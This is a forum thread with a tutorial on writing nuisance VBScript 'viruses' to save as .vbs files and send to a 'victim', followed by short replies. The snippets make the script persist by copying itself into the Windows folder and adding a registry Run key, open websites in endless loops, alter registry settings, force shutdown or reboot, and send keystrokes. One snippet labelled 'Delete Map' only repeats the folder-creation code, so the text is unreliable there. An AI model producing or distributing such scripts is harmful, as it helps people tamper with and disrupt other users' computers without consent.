TUT: How To Make A Virus

Hi,
This is a little tutorial how to make a virus.
1. OPen Notepad
2. Paste some codes from here into the notepad ( for codes see below)
3.When You have paste all the codes that you like, you need to save the notepad as .vbs:




4. Now You Have a .vbs File , Send it to your victim and have fun!
Codes

Msgbox

msgbox"message here "
Msgbox with title

msgbox "message here",0,"title here"
QUeStIon + Answer

a=inputbox("Question ")
msgbox "Answer " +a+ " ..."
CD-Rom Open And Close

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
Iets oneindig Herhalen!

do (title Script here) loop
Virus Startup when turn on pc

If Day(Now) = 5 And Month(Now) = 20 Then
msgbox "its now 20 mei"
End If
Set Shl = CreateObject("Wscript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
winfolder = fso.GetSpecialFolder(0)
Set vbsfile = fso.GetFile(WScript.ScriptFullName)
vbsfile.Copy winfolder & "VIRUS NAME HERE.vbs"
Shl.RegWrite
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Start
menu",winfolder & "VIRUS NAME HERE.vbs"

Pauze in virus (1000 = 1sec)

Wscript.Sleep 1000

Change MSN Name! (maybe dont work)

Set WshShell = CreateObject("Wscript.shell")
WshShell.Run ("msnmsgr.exe")
Wscript.Sleep 1200
WshShell.sendkeys "%x"
WshShell.sendkeys "O"
WshShell.sendkeys "(Msn Name..)"

Site open with loop

Wscript.Sleep 40000
Do
Wscript.Sleep 20000
Set WshShell = WScript.CreateObject ("WScript.Shell")
WshShell.Run ("SITE HERE")
Loop
Make Map

path = "C:\New"
set filesys=CreateObject("Scripting.FileSystemObject")
If Not filesys.FolderExists(path) Then
Set folder = filesys.CreateFolder(path)
End If

Delete Map:

path = "C:\New"
set filesys=CreateObject("Scripting.FileSystemObject")
If Not filesys.FolderExists(path) Then
Set folder = filesys.CreateFolder(path)
End If

StartMenu ComeUp Slower/Faster(1000 = 1 sec):

Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_CURRENT_USER\Control Panel\Desktop\MenuShowDelay", "10000"
CHange Name Of Trash (vicitm can see it and can choice the name)

Option Explicit
Dim WshShell, strRecycle, strOldName, strNewName, NL, RBn
Set WshShell = Wscript.CreateObject("WScript.Shell")
'Registry key to read for current name.
strRecycle = "HKCR\CLSID\{645FF040-5081" &_
"-101B-9F08-00AA002F954E}"
'Read the Registry key and store the string value.
strOldName = WshShell.RegRead(strRecycle)
'Show the existing Recycle Bin name and prompt for new name.
NL = vbCRLF
strNewName = InputBox("Current name of Recyle Bin shown" &_
" below. " & NL & NL & "Enter a new name " &_
"and click OK", , strOldName)
'If new name was entered, write it to Registry key.
If strNewName <> "" Then
WshShell.RegWrite strRecycle, strNewName
End If
'Show results.
RBn = "Recycle Bin name "
If strNewName = "" or strNewName = StrOldName Then
WshShell.Popup RBn & "NOT changed.", , , 64
Else
WshShell.Popup RBn & "CHANGED to " & strNewName, , , 64
End If
Website as HomePage

Shl.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page",
[You must be registered and logged in to see this link.]

PC Makes SOund

Set oWS = WScript.CreateObject("WScript.Shell")
oWS.Run "%comspec% /c echo " & Chr(07), 0, True

Windows shutdown, Restart en Log off

Public Const LOGOFFUSER = 0
Public Const SHUTDOWNPC = 1
Public Const REBOOTPC = 2
Public Const FORCEREBOOT = 4
Declare Function ExitWindowsEx Lib "user32" Alias "ExitWindowsEx" (ByVal uFlags As Long, ByVal
dwReserved As Long) As Long

WIth 1 Of the codes

Computer shutdown:
ans& = ExitWindowsEx(SHUTDOWNPC, 0)

Computer restart:
ans& = ExitWindowsEx(REBOOTPC, 0)

log off:
ans& = ExitWindowsEx(LOGOFFUSER, 0)

Force SHutDown: (wel met risico voor andere bestanden!!)
ans& = ExitWindowsEx(FORCEREBOOT, 0)


Sendkeys

Sendkeys "text here"
Sendkeys "{ENTER}"
(Now the program will type "text here")


Make New Map

path = "C:\New MAP (name)"
set filesys=CreateObject("Scripting.FileSystemObject")
If Not filesys.FolderExists(path) Then
Set folder = filesys.CreateFolder(path)
End If

Open a FIle

Set WshShell = WScript.CreateObject ("WScript.Shell") WshShell.Run ("Path Here, Example: C:/WIndows/Hack.exe")

Thank for this , i want to try it

These are worms. Will make a thread with viruses.It is a little more complicated. However there is this virus which is just about 1 line on notepad but when opened deletes the complete boot file of the victim. Will check once and come.

checkd yet? [You must be registered and logged in to see this image.]

do check out my guide on garena master on how to make a virus

Administration wrote:do check out my guide on garena master on how to make a virus

post it here plz